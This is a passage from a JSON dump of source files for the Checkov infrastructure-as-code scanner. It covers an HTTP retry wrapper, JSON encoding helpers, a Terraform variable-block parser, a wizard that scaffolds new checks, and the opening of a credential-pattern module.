env_vars_config.env_vars_config.BC_CA_BUNDLE\n    ssl_context = None\n    if ca_bundle_path:\n        logger.info(f\"Loading custom CA bundle from: {ca_bundle_path}\")\n        # Create a new SSL context\n        ssl_context = ssl.create_default_context(cafile=ca_bundle_path)\n    connector = aiohttp.TCPConnector(resolver=aiohttp.AsyncResolver(), ssl_context=ssl_context)\n\n    # adding retry mechanism for avoiding the next repeated unexpected issues:\n    # 1. Gateway Timeout from the server\n    # 2. ClientOSError\n    async with aiohttp.ClientSession(connector=connector) as session:\n        for i in range(request_max_tries):\n            logging.info(\n                f\"[http_utils](aiohttp_client_session_wrapper) reporting attempt {i + 1} out of {request_max_tries}\")\n            try:\n                async with session.request(\n                        method=method, url=url, headers=headers, json=payload, proxy=proxy_url, proxy_auth=proxy_auth\n                ) as response:\n                    content = await response.text()\n                if response.ok:\n                    logging.info(f\"[http_utils](aiohttp_client_session_wrapper) - done successfully to url: \\'{url}\\'\")\n                    return response\n                elif i != request_max_tries - 1:\n                    await asyncio.sleep(sleep_between_request_tries * (i + 1))\n                    continue\n                else:\n                    logging.error(f\"[http_utils](aiohttp_client_session_wrapper) - Failed to send report to \"\n                                  f\"url \\'{url}\\'\")\n                    logging.error(f\"Status code: {response.status}, Reason: {response.reason}, Content: {content}\")\n                    return response\n            except aiohttp.ClientOSError:\n                if i != request_max_tries - 1:\n                    await asyncio.sleep(sleep_between_request_tries * (i + 1))\n                    continue\n                else:\n                    logging.error(f\"[http_utils](aiohttp_client_session_wrapper) - ClientOSError when sending report \"\n                                  f\"to url: \\'{url}\\'\")\n                    raise\n            except Exception as e:\n                logging.error(f\"[http_utils](aiohttp_client_session_wrapper) - exception when sending report \"\n                              f\"to url: \\'{url}\\':\\n\\'{e}\\'\")\n                raise\n\n        else:\n            raise Exception(\"Unexpected behavior: the method \\'aiohttp_client_session_wrapper\\' should be terminated \"\n                            \"inside the above for-loop\")\n"
  },
  {
    "path": "checkov/common/util/json_utils.py",
    "content": "import datetime\nimport json\nfrom json import JSONDecodeError\nfrom typing import Any, Dict\n\nfrom lark import Tree\nfrom bc_jsonpath_ng import parse, JSONPath\n\nfrom checkov.common.bridgecrew.severities import Severity\nfrom checkov.common.output.common import ImageDetails\nfrom checkov.common.packaging.version import LegacyVersion, Version\nfrom checkov.common.sast.report_types import MatchMetadata, DataFlow, MatchLocation, Point\nfrom detect_secrets.core.potential_secret import PotentialSecret\n\nfrom checkov.common.util.data_structures_utils import pickle_deepcopy\n\ntype_of_function = type(lambda x: x)\n\n\nclass CustomJSONEncoder(json.JSONEncoder):\n    def default(self, o: Any) -> Any:\n        from checkov.terraform.modules.module_objects import TFModule, TFDefinitionKey\n        if isinstance(o, set):\n            return list(o)\n        elif isinstance(o, Tree):\n            return str(o)\n        elif isinstance(o, datetime.date):\n            return str(o)\n        elif isinstance(o, (Version, LegacyVersion)):\n            return str(o)\n        elif isinstance(o, Severity):\n            return o.name\n        elif isinstance(o, complex):\n            return str(o)\n        elif isinstance(o, ImageDetails):\n            return o.__dict__\n        elif isinstance(o, type_of_function):\n            return str(o)\n        elif isinstance(o, TFDefinitionKey):\n            return str(o)\n        elif isinstance(o, TFModule):\n            return dict(o)\n        elif isinstance(o, PotentialSecret):\n            return o.json()\n        elif isinstance(o, MatchMetadata):\n            return o.serialize_model()\n        elif isinstance(o, DataFlow):\n            return o.serialize_model()\n        elif isinstance(o, MatchLocation):\n            return o.serialize_model()\n        elif isinstance(o, Point):\n            return o.serialize_model()\n        else:\n            return json.JSONEncoder.default(self, o)\n\n    def encode(self, obj: Any) -> str:\n        return super().encode(self._encode(obj))\n\n    def _encode(self, obj: Any) -> Any:\n        if isinstance(obj, dict):\n            return {self.encode_key(k): v for k, v in obj.items()}\n        else:\n            return obj\n\n    @staticmethod\n    def encode_key(key: Any) -> Any:\n        from checkov.terraform.modules.module_objects import TFModule, TFDefinitionKey\n        if isinstance(key, TFDefinitionKey):\n            return str(key)\n        if isinstance(key, TFModule):\n            return str(key)\n        if isinstance(key, tuple):\n            return \",\".join(key)\n        else:\n            return key\n\n\ndef object_hook(dct: Dict[Any, Any]) -> Any:\n    from checkov.terraform.modules.module_objects import TFModule, TFDefinitionKey\n    from checkov.common.util.consts import RESOLVED_MODULE_ENTRY_NAME\n    try:\n        if dct is None:\n            return None\n        if isinstance(dct, dict):\n            dct_obj = pickle_deepcopy(dct)\n            if 'tf_source_modules' in dct and 'file_path' in dct:\n                return TFDefinitionKey(file_path=dct[\"file_path\"],\n                                       tf_source_modules=object_hook(dct[\"tf_source_modules\"]))\n            if 'path' in dct and 'name' in dct and 'foreach_idx' in dct and 'nested_tf_module' in dct:\n                return TFModule(path=dct['path'], name=dct['name'], foreach_idx=dct['foreach_idx'],\n                                nested_tf_module=object_hook(dct['nested_tf_module']))\n            for key, value in dct.items():\n                if key == RESOLVED_MODULE_ENTRY_NAME:\n                    resolved_classes = []\n                    for resolved_module in dct[RESOLVED_MODULE_ENTRY_NAME]:\n                        if isinstance(resolved_module, str):\n                            resolved_classes.append(object_hook(json.loads(resolved_module)))\n                    dct_obj[RESOLVED_MODULE_ENTRY_NAME] = resolved_classes\n                if isinstance(key, str) and 'tf_source_modules' in key and 'file_path' in key:\n                    tf_definition_key = json.loads(key)\n                    tf_definition_key_obj = TFDefinitionKey(file_path=tf_definition_key[\"file_path\"], tf_source_modules=object_hook(\n                        tf_definition_key[\"tf_source_modules\"]))\n                    dct_obj[tf_definition_key_obj] = value\n                    del dct_obj[key]\n            return dct_obj\n        return dct\n    except (KeyError, TypeError, JSONDecodeError):\n        return dct\n\n\ndef get_jsonpath_from_evaluated_key(evaluated_key: str) -> JSONPath:\n    evaluated_key = evaluated_key.replace(\"/\", \".\")\n    return parse(f\"$..{evaluated_key}\")  # type:ignore[no-any-return]\n"
  },
  {
    "path": "checkov/common/util/oidc_utils.py",
    "content": "import re\n\"\"\"\nThis file provides utility functions for handling OIDC-related operations, particularly for GitHub repositories.\n\nConstants:\n    gh_repo_regex (re.Pattern): A regular expression pattern that matches GitHub repository paths.\n        # Matches patterns like: \"owner/repo\", \"${var}/repo\", \"org.name/repo\"\n        # Allows for variable substitution syntax ${} and organization names with dots\n\n    gh_abusable_claims (list): A list of GitHub OIDC claims that could potentially be abused in security contexts.\n\"\"\"\ngh_repo_regex = re.compile(r\"(\\$\\{)?[a-zA-Z0-9_-]+(\\.[a-zA-Z0-9_-]+)*(\\})?/[^/]+\")\ngh_abusable_claims = [\"workflow\", \"environment\", \"ref\", \"context\", \"head_ref\", \"base_ref\"]\ngh_sub_condition = re.compile(r\"^token\\.actions\\.githubusercontent\\.com(?:/[a-zA-Z0-9_-]+)?:sub$\")\n"
  },
  {
    "path": "checkov/common/util/parser_utils.py",
    "content": "from __future__ import annotations\n\nimport json\nimport re\nfrom dataclasses import dataclass\nfrom enum import Enum\nfrom typing import Any, List\n\nimport hcl2\n\n_FUNCTION_NAME_CHARS = frozenset(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\")\n\n_ARG_VAR_PATTERN = re.compile(r\"[a-zA-Z_]+(\\.[a-zA-Z_]+)+\")\n\nTERRAFORM_NESTED_MODULE_PATH_PREFIX = '([{'\nTERRAFORM_NESTED_MODULE_PATH_ENDING = '}])'\nTERRAFORM_NESTED_MODULE_INDEX_SEPARATOR = '#*#'\nTERRAFORM_NESTED_MODULE_PATH_SEPARATOR_LENGTH = 3\n\n\n@dataclass\nclass VarBlockMatch:\n    full_str: str  # Example: ${local.foo}\n    var_only: str  # Example: local.fop\n\n    def replace(self, original: str, replaced: str) -> None:\n        self.full_str = self.full_str.replace(original, replaced)\n        self.var_only = self.var_only.replace(original, replaced)\n\n    def is_simple_var(self) -> bool:\n        \"\"\"\n        Indicates whether or not the value of the var block matches a \"simple\" var pattern. For example:\n        local.blah, var.foo, module.one.a_resource.\n        \"\"\"\n        return _ARG_VAR_PATTERN.match(self.var_only) is not None\n\n\nclass ParserMode(Enum):\n    # Note: values are just for debugging.\n    EVAL = \"${\"\n    MAP = \"{\"\n    STRING_SINGLE_QUOTE = \"'\"\n    STRING_DOUBLE_QUOTE = '\"'\n    PARAMS = \"(\"\n    ARRAY = \"[\"\n    BLANK = \" \"\n\n    @staticmethod\n    def is_string(mode: \"ParserMode\") -> bool:\n        return mode == ParserMode.STRING_SINGLE_QUOTE or mode == ParserMode.STRING_DOUBLE_QUOTE\n\n    def __repr__(self) -> str:\n        return str(self.value)\n\n    def __str__(self) -> str:\n        return str(self.value)\n\n\ndef is_acceptable_module_param(value: Any) -> bool:\n    \"\"\"\n    This function determines if a value should be passed to a module as a parameter. We don't want to pass\n    unresolved var, local or module references because they can't be resolved from the module, so they need\n    to be resolved prior to being passed down.\n    \"\"\"\n    value_type = type(value)\n    if value_type is dict:\n        for k, v in value.items():\n            if not is_acceptable_module_param(v) or not is_acceptable_module_param(k):\n                return False\n        return True\n    if value_type is set or value_type is list:\n        for v in value:\n            if not is_acceptable_module_param(v):\n                return False\n        return True\n\n    if value_type is not str:\n        return True\n\n    for vbm in find_var_blocks(value):\n        if vbm.is_simple_var():\n            return False\n    return True\n\n\ndef find_var_blocks(value: str) -> List[VarBlockMatch]:\n    \"\"\"\n    Find and return all the var blocks within a given string. Order is important and may contain portions of\n    one another.\n    \"\"\"\n\n    if \"$\" not in value:\n        # not relevant, typically just a normal string value\n        return []\n\n    to_return: List[VarBlockMatch] = []\n\n    mode_stack: List[ParserMode] = []\n    eval_start_pos_stack: List[int] = []  # location of first char inside brackets\n    param_start_pos_stack: List[int] = []  # location of open parens\n    preceding_dollar = False\n    preceding_string_escape = False\n    # NOTE: function calls can be nested, but since param args are only being inspected for variables,\n    #       it's alright to ignore outer calls.\n    param_arg_start = -1\n    for index, c in enumerate(value):\n        current_mode = ParserMode.BLANK if not mode_stack else mode_stack[-1]\n\n        # Print statement of power...\n        # print(f\"{str(index).ljust(3, ' ')} {c} {'$' if preceding_dollar else ' '} \"\n        #       f\"{'`' if preceding_string_escape else ' '} \"\n        #       f\"{current_mode.ljust(2)} - {mode_stack}\")\n\n        if c == \"$\":\n            if preceding_dollar:  # ignore double $\n                preceding_dollar = False\n                continue\n\n            preceding_dollar = True\n            continue\n\n        if c == \"{\" and preceding_dollar:\n            mode_stack.append(ParserMode.EVAL)\n            eval_start_pos_stack.append(index + 1)  # next char\n            preceding_dollar = False\n            continue\n        elif c == \"\\\\\" and ParserMode.is_string(current_mode):\n            preceding_string_escape = True\n            continue\n\n        preceding_dollar = False\n\n        if c == \"}\":\n            if current_mode == ParserMode.EVAL:\n                mode_stack.pop()\n                start_pos = eval_start_pos_stack.pop()\n                eval_string = value[start_pos:index]\n                to_return.append(VarBlockMatch(\"${\" + eval_string + \"}\", eval_string))\n            elif current_mode == ParserMode.MAP:\n                mode_stack.pop()\n        elif c == \"]\" and current_mode == ParserMode.ARRAY:\n            mode_stack.pop()\n        elif c == \")\" and current_mode == ParserMode.PARAMS:\n            if param_arg_start > 0:\n                param_arg = value[param_arg_start:index].strip()\n                if _ARG_VAR_PATTERN.match(param_arg):\n                    to_return.append(VarBlockMatch(param_arg, param_arg))\n                param_arg_start = -1\n\n            mode_stack.pop()\n            start_pos = param_start_pos_stack.pop()\n            # See if these params are for a function call. Back up from the index to determine if there's\n            # a function preceding.\n            function_name_start_index = start_pos\n            for function_index in range(start_pos - 1, 0, -1):\n                if value[function_index] in _FUNCTION_NAME_CHARS:\n                    function_name_start_index = function_index\n                else:\n                    break\n            # We know now there's a function call here. But, don't call it out if it's directly wrapped\n            # in eval markers.\n            in_eval_markers = False\n            if function_name_start_index >= 2:\n                in_eval_markers = (\n                    value[function_name_start_index - 2] == \"$\" and value[function_name_start_index - 1] == \"{\"\n                )\n            if function_name_start_index < start_pos and not in_eval_markers:\n                to_return.append(\n                    VarBlockMatch(\n                        value[function_name_start_index : index + 1], value[function_name_start_index : index + 1]\n                    )\n                )\n        elif c == '\"':\n            if preceding_string_escape:\n                preceding_string_escape = False\n                continue\n            elif current_mode == ParserMode.STRING_DOUBLE_QUOTE:\n                mode_stack.pop()\n            else:\n                mode_stack.append(ParserMode.STRING_DOUBLE_QUOTE)\n        elif c == \"'\":\n            if preceding_string_escape:\n                preceding_string_escape = False\n                continue\n            elif current_mode == ParserMode.STRING_SINGLE_QUOTE:\n                mode_stack.pop()\n            else:\n                mode_stack.append(ParserMode.STRING_SINGLE_QUOTE)\n        elif c == \"{\":\n            # NOTE: Can't be preceded by a dollar sign (that was checked earlier)\n            if not ParserMode.is_string(current_mode):\n                mode_stack.append(ParserMode.MAP)\n        elif c == \"[\":  # do we care?\n            if not ParserMode.is_string(current_mode):\n                mode_stack.append(ParserMode.ARRAY)\n        elif c == \"(\":  # do we care?\n            if not ParserMode.is_string(current_mode):\n                mode_stack.append(ParserMode.PARAMS)\n                param_start_pos_stack.append(index)\n                param_arg_start = index + 1\n        elif c == \",\":\n            if current_mode == ParserMode.PARAMS and param_arg_start > 0:\n                param_arg = value[param_arg_start:index].strip()\n                if _ARG_VAR_PATTERN.match(param_arg):\n                    to_return.append(VarBlockMatch(param_arg, param_arg))\n                param_arg_start = index + 1\n        elif c == \"?\" and current_mode == ParserMode.EVAL:  # ternary\n            # If what's been processed in the ternary so far is \"true\" or \"false\" (boolean or string type)\n            # then nothing special will happen here and only the full expression will be returned.\n            # Anything else will be treated as an unresolved variable block.\n            start_pos = eval_start_pos_stack[-1]  # DO NOT pop: there's no separate eval start indicator\n            eval_string = value[start_pos:index].strip()\n\n            # HACK ALERT: For the cases with the trailing quotes, see:\n            #             test_hcl2_load_assumptions.py -> test_weird_ternary_string_clipping\n            if eval_string not in {\"true\", \"false\", '\"true\"', '\"false\"', 'true\"', 'false\"'}:\n                # REMINDER: The eval string is not wrapped in a eval markers since they didn't really\n                #           appear in the original value. If they're put in, substitution doesn't\n                #           work properly.\n                to_return.append(VarBlockMatch(eval_string, eval_string))\n\n        preceding_string_escape = False\n\n    return to_return\n\n\ndef split_merge_args(value: str) -> list[str] | None:\n    \"\"\"\n    Split arguments of a merge function. For example, \"merge(local.one, local.two)\" would\n    call this function with a value of \"local.one, local.two\" which would return\n    [\"local.one\", \"local.two\"]. If the value cannot be unpacked, None will be returned.\n    \"\"\"\n    if not value:\n        return None\n\n    # There are a number of splitting scenarios depending on whether variables or\n    # direct maps are used:\n    #           merge({tag1=\"foo\"},{tag2=\"bar\"})\n    #           merge({tag1=\"foo\"},local.some_tags)\n    #           merge(local.some_tags,{tag2=\"bar\"})\n    #           merge(local.some_tags,local.some_other_tags)\n    # Also, the number of arguments can vary, things can be nested, strings are evil...\n    # See tests/terraform/test_parser_var_blocks.py for many examples.\n\n    to_return = []\n    current_arg_buffer = \"\"\n    processing_str_escape = False\n    inside_collection_stack: List[str] = []  # newest at position 0, contains the terminator for the collection\n    for c in value:\n        if c == \",\" and not inside_collection_stack:\n            current_arg_buffer = current_arg_buffer.strip()\n            # Note: can get a zero-length buffer when there's a double comma. This can\n            #       happen with multi-line args (see parser_internals test)\n            if len(current_arg_buffer) != 0:\n                to_return.append(current_arg_buffer)\n            current_arg_buffer = \"\"\n        else:\n            current_arg_buffer += c\n\n        processing_str_escape = _str_parser_loop_collection_helper(c, inside_collection_stack, processing_str_escape)\n\n    current_arg_buffer = current_arg_buffer.strip()\n    if len(current_arg_buffer) > 0:\n        to_return.append(current_arg_buffer)\n\n    if len(to_return) == 0:\n        return None\n    return to_return\n\n\ndef _str_parser_loop_collection_helper(c: str, inside_collection_stack: List[str], processing_str_escape: bool) -> bool:\n    \"\"\"\n    This function handles dealing with tracking when a char-by-char state loop is inside a\n    \"collection\" (map, array index, method args, string).\n\n    :param c:       Active character\n    :param inside_collection_stack:     Stack of terminators for collections. This will be modified by\n                                        this function. The active terminator will be at position 0.\n\n\n    :return: value to set for `processing_str_escape`\n    \"\"\"\n    inside_a_string = False\n    if inside_collection_stack:\n        terminator = inside_collection_stack[0]\n\n        if terminator == '\"' or terminator == \"'\":\n            if processing_str_escape:\n                processing_str_escape = False\n                return processing_str_escape\n            elif c == \"\\\\\":\n                processing_str_escape = True\n                return processing_str_escape\n            else:\n                inside_a_string = True\n\n        if c == terminator:\n            del inside_collection_stack[0]\n            return processing_str_escape\n\n    if not inside_a_string:\n        if c == '\"':\n            inside_collection_stack.insert(0, '\"')\n        elif c == \"'\":\n            inside_collection_stack.insert(0, \"'\")\n        elif c == \"{\":\n            inside_collection_stack.insert(0, \"}\")\n        elif c == \"[\":\n            inside_collection_stack.insert(0, \"]\")\n        elif c == \"(\":\n            inside_collection_stack.insert(0, \")\")\n\n    return processing_str_escape\n\n\ndef eval_string(value: str) -> Any:\n    try:\n        value_string = value.replace(\"'\", '\"')\n        parsed = hcl2.loads(f\"eval = {value_string}\\n\")  # NOTE: newline is needed\n        return parsed[\"eval\"][0]\n    except Exception:\n        return None\n\n\ndef string_to_native(value: str) -> Any:\n    try:\n        value_string = value.replace(\"'\", '\"')\n        return json.loads(value_string)\n    except Exception:\n        return None\n\n\ndef to_string(value: Any) -> str:\n    if value is True:\n        return \"true\"\n    elif value is False:\n        return \"false\"\n    return str(value)\n"
  },
  {
    "path": "checkov/common/util/prompt.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any, cast\n\nfrom checkov.common.checks.base_check_registry import BaseCheckRegistry\nfrom checkov.common.util.banner import banner as checkov_banner\nimport click\nimport jinja2\nimport os\n\nCHECKOV_ROOT_DIRECTORY = os.path.join(\".\", \"checkov\")\nTEMPLATE_DIRECTORY = os.path.join(os.path.dirname(__file__), \"templates\")\n\n\nclass Prompt():\n    ACTIONS = [\"add\"]\n    CHECK_CLASS = [\"terraform\"]\n    CATEGORIES = [\"application_security\", \"backup_and_recovery\" \"convention\", \"encryption\",\n                  \"general_security\", \"iam\", \"kubernetes\", \"logging\", \"networking\", \"secrets\"]\n    TERRAFORM_OBJECT_TYPE = [\"data\", \"provider\", \"resource\"]\n    PROVIDERS = [\"azure\", \"aws\", \"gcp\"]\n\n    PROMPTS = {\n        \"chosen_action\": {\n            \"text\": 'What action would you like to take?',\n            \"type\": click.Choice(ACTIONS),\n            \"default\": \"add\",\n            \"sub_prompts\": [\n                {\n                    \"title\": {\n                        \"text\": 'Enter the title of your new check (without a .py)',\n                        \"type\": str,\n                        \"default\": \"MyNewTest\"\n                    },\n                    \"category\": {\n                        \"text\": 'Select a category for this check',\n                        \"type\": click.Choice(CATEGORIES),\n                        \"default\": \"iam\"\n                    },\n                    \"desc\": {\n                        \"text\": 'Describe what this check does',\n                        \"type\": str,\n                        \"default\": \"Ensure that X does Y...\"\n                    },\n                    \"check_class\": {\n                        \"prompt_if\": 'add',\n                        \"text\": 'What kind of check would you like to add?',\n                        \"type\": click.Choice(CHECK_CLASS),\n                        \"default\": \"terraform\",\n                        \"sub_prompts\": [\n                            {  # Terraform\n                                \"provider\": {\n                                    \"prompt_if\": 'terraform',\n                                    \"text\": 'Select the cloud provider this will run on',\n                                    \"type\": click.Choice(PROVIDERS),\n                                    \"default\": \"aws\",\n                                    \"sub_prompts\": [\n                                        {  # AWS\n                                            \"context\": {\n                                                \"prompt_if\": 'aws',\n                                                \"text\": 'Select a terraform object for this check',\n                                                \"type\": click.Choice(TERRAFORM_OBJECT_TYPE),\n                                                \"default\": \"resource\",\n                                                \"sub_prompts\": [\n                                                    {\n                                                        \"supported_resource\": {\n                                                            \"prompt_if\": 'resource',\n                                                            \"text\": 'Enter the terraform object type',\n                                                            \"type\": str,\n                                                            \"default\": \"aws_iam_policy\"\n                                                        },\n                                                    },\n                                                    {\n                                                        \"supported_resource\": {\n                                                            \"prompt_if\": 'data',\n                                                            \"text\": 'Enter the terraform object type',\n                                                            \"type\": str,\n                                                            \"default\": \"aws_iam_policy_document\"\n                                                        },\n                                                    },\n                                                    {\n                                                        \"supported_resource\": {\n                                                            \"prompt_if\": 'provider',\n                                                            \"text\": 'Enter the terraform object type',\n                                                            \"type\": str,\n                                                            \"default\": \"aws\"\n                                                        },\n                                                    }\n                                                ]\n                                            }\n                                        },\n                                        {  # Azure\n                                            \"context\": {\n                                                \"prompt_if\": 'azure',\n                                                \"text\": 'Select a terraform object for this check',\n                                                \"type\": click.Choice(['resource']),\n                                                \"default\": \"resource\",\n                                                \"sub_prompts\": [\n                                                    {\n                                                        \"supported_resource\": {\n                                                            \"prompt_if\": 'resource',\n                                                            \"text\": 'Enter the terraform object type',\n                                                            \"type\": str,\n                                                            \"default\": \"azurerm_policy_definition\"\n                                                        },\n                                                    }\n                                                ]\n                                            }\n                                        },\n                                        {  # GCP\n                                            \"context\": {\n                                                \"prompt_if\": 'gcp',\n                                                \"text\": 'Select a terraform object for this check',\n                                                \"type\": click.Choice(['resource']),\n                                                \"default\": \"resource\",\n                                                \"sub_prompts\": [\n                                                    {\n                                                        \"supported_resource\": {\n                                                            \"prompt_if\": 'resource',\n                                                            \"text\": 'Enter the terraform object type',\n                                                            \"type\": str,\n                                                            \"default\": \"google_project_iam_policy\"\n                                                        },\n                                                    }\n                                                ]\n                                            }\n                                        },\n                                    ]\n                                }\n                            }\n                        ]\n                    }\n                }\n            ]\n        }\n    }\n\n    def __init__(self) -> None:\n        print(checkov_banner)\n        self.responses: dict[str, Any] = {}\n        self.prompt()\n\n    # Recurse over our prompt, populating new class attributes from the keys and\n    # user-supplied answers\n    def prompt(self, prompt_map: dict[str, Any] | None = None, prompt_if: str | None = None) -> None:\n        if not prompt_map:\n            prompt_map = Prompt.PROMPTS\n\n        for k, v in prompt_map.items():\n            if \"prompt_if\" not in v or v[\"prompt_if\"] == prompt_if:\n                # Prompt the user\n                text = cast(str, v[\"text\"])\n                p = click.prompt(text, type=v[\"type\"], default=v[\"default\"])\n\n                # Create the action on our object\n                if k == 'chosen_action':\n                    self.chosen_action = p\n\n                # Record user responses\n                self.responses[k] = p\n                print()  # Newline for readability\n\n                # Call prompt() again on any sub_prompts\n                if \"sub_prompts\" in v and isinstance(v[\"sub_prompts\"], list):\n                    for sub_prompt in v[\"sub_prompts\"]:\n                        self.prompt(sub_prompt, prompt_if=p)\n\n    def template_env(self) -> jinja2.Environment:\n        template_loader = jinja2.FileSystemLoader(searchpath=TEMPLATE_DIRECTORY)\n        return jinja2.Environment(loader=template_loader, autoescape=True)\n\n\nclass Check(Prompt):\n    def __init__(self, user_responses: dict[str, Any] | None = None) -> None:\n        if not user_responses:\n            user_responses = {}\n\n        self.chosen_action = user_responses.get(\"chosen_action\", None)\n        self.title = user_responses.get(\"title\", None)\n        self.category = user_responses.get(\"category\", '')\n        self.desc = user_responses.get(\"desc\", None)\n        self.check_class = user_responses.get(\"check_class\", '')\n        self.provider = user_responses.get(\"provider\", '')\n        self.context = user_responses.get(\"context\", '')\n        self.supported_resource = user_responses.get(\"supported_resource\", None)\n\n    def action(self) -> None:\n        # Call the user-selected action (add, remove, modify - leaves room for more actions)\n        getattr(self, self.chosen_action)()\n\n    def add(self) -> None:\n        print(\"Please ensure you are at the root of the Checkov repository before completing this prompt\")\n\n        self.populate_templates()\n        self.create_check()\n        self.create_unit_test_stubs()\n        self.print_instructions()\n\n    def populate_templates(self) -> None:\n        # Fetch the tf template for unit tests\n        tf_unit_test_template = self.template_env().get_template(\"unittest-terraform.jinja2\")\n        self.tf_unit_test_template = tf_unit_test_template.render(\n            supported_resource=self.supported_resource, context=self.context)\n\n        # Fetch the python template for unit tests\n        python_unit_test_template = self.template_env().get_template(\"unittest-python.jinja2\")\n        self.python_unit_test_template = python_unit_test_template.render(\n            provider=self.provider, title=self.title, supported_resource=self.supported_resource, check_class=self.check_class, context=self.context)\n\n        # Fetch the init template\n        init_template = self.template_env().get_template(\"init.jinja2\")\n        self.init_template = init_template.render()\n\n        # Fetch the check template\n        check_template = self.template_env().get_template(f\"{self.context}.jinja2\")\n        new_index = self.get_latest_id_for_provider() + 1  # Find the latest ID and increment\n\n        self.template = check_template.render(title=self.title, provider=self.provider.upper(),\n                                              supported_resource=self.supported_resource, category=self.category.upper(),\n                                              desc=self.desc, index=new_index)\n\n    def get_latest_id_for_provider(self) -> int:\n        max_id = 0\n        try:\n            for ck in BaseCheckRegistry.get_all_registered_checks():\n                if ck.id.startswith(f\"CKV_{self.provider.upper()}\"):\n                    curr_id_num = int(ck.id.split(\"_\")[2])\n                    if curr_id_num > max_id:\n                        max_id = curr_id_num\n        except Exception:\n            print(\"Unable to automatically find latest Check ID, please set manually\")\n            max_id = 999999\n\n        return max_id\n\n    def create_check(self) -> None:\n        # Create check in the checks directory\n        ck_loc = os.path.abspath(os.path.join(CHECKOV_ROOT_DIRECTORY,\n                                              self.check_class, \"checks\", self.context, self.provider.lower()))\n        print(f\"Creating Check {self.title}.py in {ck_loc}\")\n\n        # Set path, make directory path if necessary\n        full_path = os.path.join(ck_loc, f\"{self.title}.py\")\n        os.makedirs(ck_loc, exist_ok=True)\n\n        # Write file\n        with open(full_path, \"w\") as f:\n            f.write(self.template)\n\n        print(f\"\\tSuccessfully created {full_path}\")\n\n    def create_unit_test_stubs(self) -> None:\n        base = os.path.abspath(os.path.join(CHECKOV_ROOT_DIRECTORY, os.path.pardir,\n                                            \"tests\", self.check_class, \"checks\", self.context, self.provider.lower()))\n        print(f\"Creating Unit Test Stubs for {self.title} in {base}\")\n\n        # Create Terraform stub from Template\n        new_dir = os.path.join(base, f\"example_{self.title}\")\n        os.makedirs(new_dir, exist_ok=True)\n\n        tf_loc = os.path.join(new_dir, f\"{self.title}.tf\")\n        with open(tf_loc, \"w\") as f:\n            f.write(self.tf_unit_test_template)\n\n        print(f\"\\tSuccessfully created {tf_loc}\")\n\n        py_loc = os.path.join(base, f\"test_{self.title}.py\")\n\n        with open(py_loc, \"w\") as f:\n            f.write(self.python_unit_test_template)\n\n        print(f\"\\tSuccessfully created {py_loc}\")\n\n    def print_instructions(self) -> None:\n        print(\"\\nNext steps:\")\n        print(\"\\t1) Edit your new check located in the checks/ directory listed above\")\n        print(\"\\t2) Add both a PASS and FAIL unit test to the newly created unit test under the tests/ directory to show others how to fix failures\")\n"
  },
  {
    "path": "checkov/common/util/runner_dependency_handler.py",
    "content": "from __future__ import annotations\n\nimport logging\nfrom typing import TYPE_CHECKING\n\nfrom checkov.common.resource_code_logger_filter import add_resource_code_filter_to_logger\n\nif TYPE_CHECKING:\n    from checkov.common.runners.runner_registry import RunnerRegistry\n\nlogger = logging.getLogger(__name__)\nadd_resource_code_filter_to_logger(logger)\n\n\nclass RunnerDependencyHandler():\n    \"\"\"\n    Scan runners for system dependencies, disable runners with failed deps\n    \"\"\"\n    def __init__(self, runner_registry: RunnerRegistry) -> None:\n        \"\"\"\n        RunnerDependencyHandler\n        :param runner_registry: a populated runner registry\n        \"\"\"\n        self.runner_registry = runner_registry\n\n    def validate_runner_deps(self) -> None:\n        \"\"\"\n        Checks if each runner declares any system dependencies by calling each runner's system_deps() function.\n        This function can safley not exist, but if returns true, call check_system_deps() on the same function.\n        The function would implement it's own dependency checks (see helm/runner.py for example).\n        Successful check_system_deps() should return None, otherwise self.check_type to indicate a runner has failed deps.\n\n        THen removes any runners with missing dependencies from runner_registry.\n        \"\"\"\n        runners_with_unmatched_deps = []\n        runner_names = []\n        for runner in self.runner_registry.runners:\n            system_deps = getattr(runner, 'system_deps', None)\n            if system_deps:\n                check_system_deps = getattr(runner, 'check_system_deps', None)\n                if check_system_deps is not None:\n                    result = check_system_deps()\n                    if result is not None:\n                        runner_names.append(result)\n                        runners_with_unmatched_deps.append(runner)\n            else:\n                logging.debug(f\"{runner.check_type}_runner declares no system dependency checks required.\")\n                continue\n\n        if runners_with_unmatched_deps:\n            logging.info(f\"The following frameworks will automatically be disabled due to missing system dependencies: {','.join(runner_names)}\")\n            for runner in runners_with_unmatched_deps:\n                self.runner_registry.remove_runner(runner)\n"
  },
  {
    "path": "checkov/common/util/secrets.py",
    "content": "from __future__ import annotations\n\nimport itertools\nimport json\nimport logging\nimport re\nfrom typing import Any, TYPE_CHECKING\n\nfrom checkov.common.models.enums import CheckCategories, CheckResult\nfrom checkov.common.util.consts import RESOURCE_ATTRIBUTES_TO_OMIT_UNIVERSAL_MASK\n\nif TYPE_CHECKING:\n    from checkov.common.checks.base_check import BaseCheck\n    from checkov.common.graph.checks_infra.base_check import BaseGraphCheck\n    from checkov.common.typing import _CheckResult, ResourceAttributesToOmit\n    from pycep.typing import ParameterAttributes, ResourceAttributes\n\n# secret categories for use as constants\nAWS = 'aws'\nAZURE = 'azure'\nGCP = 'gcp'\nGENERAL = 'general'\nPASSWORD = 'password'  # nosec B105\nALL = 'all'\n\nGENERIC_OBFUSCATION_LENGTH = 10\n\n\n# Taken from various git-secrets forks that add Azure and GCP support to base AWS.\n# The groups here are the result of running git secrets --register-[aws|azure|gcp]\n# https://github.com/awslabs/git-secrets\n# https://github.com/deshpandetanmay/git-secrets\n# https://github.com/msalemcode/git-secrets#options-for-register-azure\n_secrets_regexes = {\n    'azure': [\n        \"(\\\"|')?([0-9A-Fa-f]{4}-){4}[0-9A-Fa-f]{12}(\\\"|')?\",  # client_secret\n        \"(\\\"|')?[0-9A-Fa-f]{8}-([0-9A-Fa-f]{4}-){3}[0-9A-Fa-f]{12}(\\\"|')?\",  # client_id and many other forms of IDs\n        \"(\\\"|')?.*[0-9a-zA-Z]{2,256}[.][o|O][n|N][m|M][i|I][c|C][r|R][o|O][s|S][o|O][f|F][t|T][.][c|C][o|O][m|M](\\\"|')?\",\n        \"(\\\"|')?.*[0-9a-zA-Z]{2,256}[.][b|B][l|L][o|O][b|B][.][c|C][o|O][r|R][e|E][.][w|W][i|I][n|N][d|D][o|O][w|W][s|S][.][n|N][e|E][t|T](\\\"|')?\",\n        